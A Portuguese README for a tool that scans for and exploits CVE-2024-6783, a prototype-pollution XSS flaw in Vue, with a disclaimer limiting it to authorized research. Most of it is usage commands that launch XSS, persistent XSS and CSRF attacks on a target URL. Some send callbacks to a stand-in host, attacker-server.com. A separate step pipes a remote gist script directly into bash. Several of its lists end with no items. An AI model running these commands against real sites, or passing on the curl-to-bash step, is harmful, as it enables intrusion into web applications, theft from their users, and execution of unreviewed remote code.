
CVE-2024-6783 - Vue CVE
Foi descoberta uma vulnerabilidade no Vue que permite a um atacante realizar XSS via poluição de protótipo. O atacante pode alterar a cadeia de protótipos de algumas propriedades, como Object.prototype.staticClass ou Object.prototype.staticStyle, para executar código JavaScript arbitrário.
Apoie a manutenção deste projeto com PayPal ou escaneando o código QR abaixo.
Use este projeto apenas em ambientes seguros e autorizados, tais como:
Exemplo de configuração:
git clone https://github.com/HORKimhab/CVE-2024-6783
cd CVE-2024-6783
# O projeto usa python conforme abaixo
# Criar um ambiente virtual
python -m venv venv
# Ativar o ambiente virtual
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Instalar os requisitos
pip install -r requirements.txt
Exemplo de uso:
# apenas escanear
python cve-2024-6783.py -u https://example.com -v
# Escanear e explorar XSS
python cve-2024-6783.py -u https://example.com -e xss
# Exploração de XSS com Callback
python cve-2024-6783.py -u https://example.com -e xss -c http://attacker-server.com/callback
# Servidor de Callback Automático
python cve-2024-6783.py -u https://example.com -e persistent -c auto
# Exploração de CSRF
python cve-2024-6783.py -u https://example.com -e csrf
# Escaneamento Completo e Exploração com Saída Detalhada
python cve-2024-6783.py -u https://example.com -e xss -c auto -v -o evidence.html
Nota:
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y para limpar o diretório .git aninhadoUm repositório para aprender, testar e pesquisar conceitos de cibersegurança em ambientes controlados.
Este repositório destina-se exclusivamente à pesquisa educacional e de segurança autorizada.
Ele foi projetado para ajudar os usuários a aprender sobre:
Use este repositório somente em ambientes onde você tenha permissão, tais como:
O uso não autorizado ou ilegal é estritamente proibido.
O autor e os colaboradores não são responsáveis por qualquer dano, uso indevido, problemas legais ou perdas causados por este projeto.
Ao usar este repositório, você concorda que:
Este projeto destina-se a:
Por favor, siga práticas de divulgação responsável e cumpra todas as leis aplicáveis.
Para divulgação responsável ou colaboração, entre em contato com o mantenedor do repositório através do GitHub.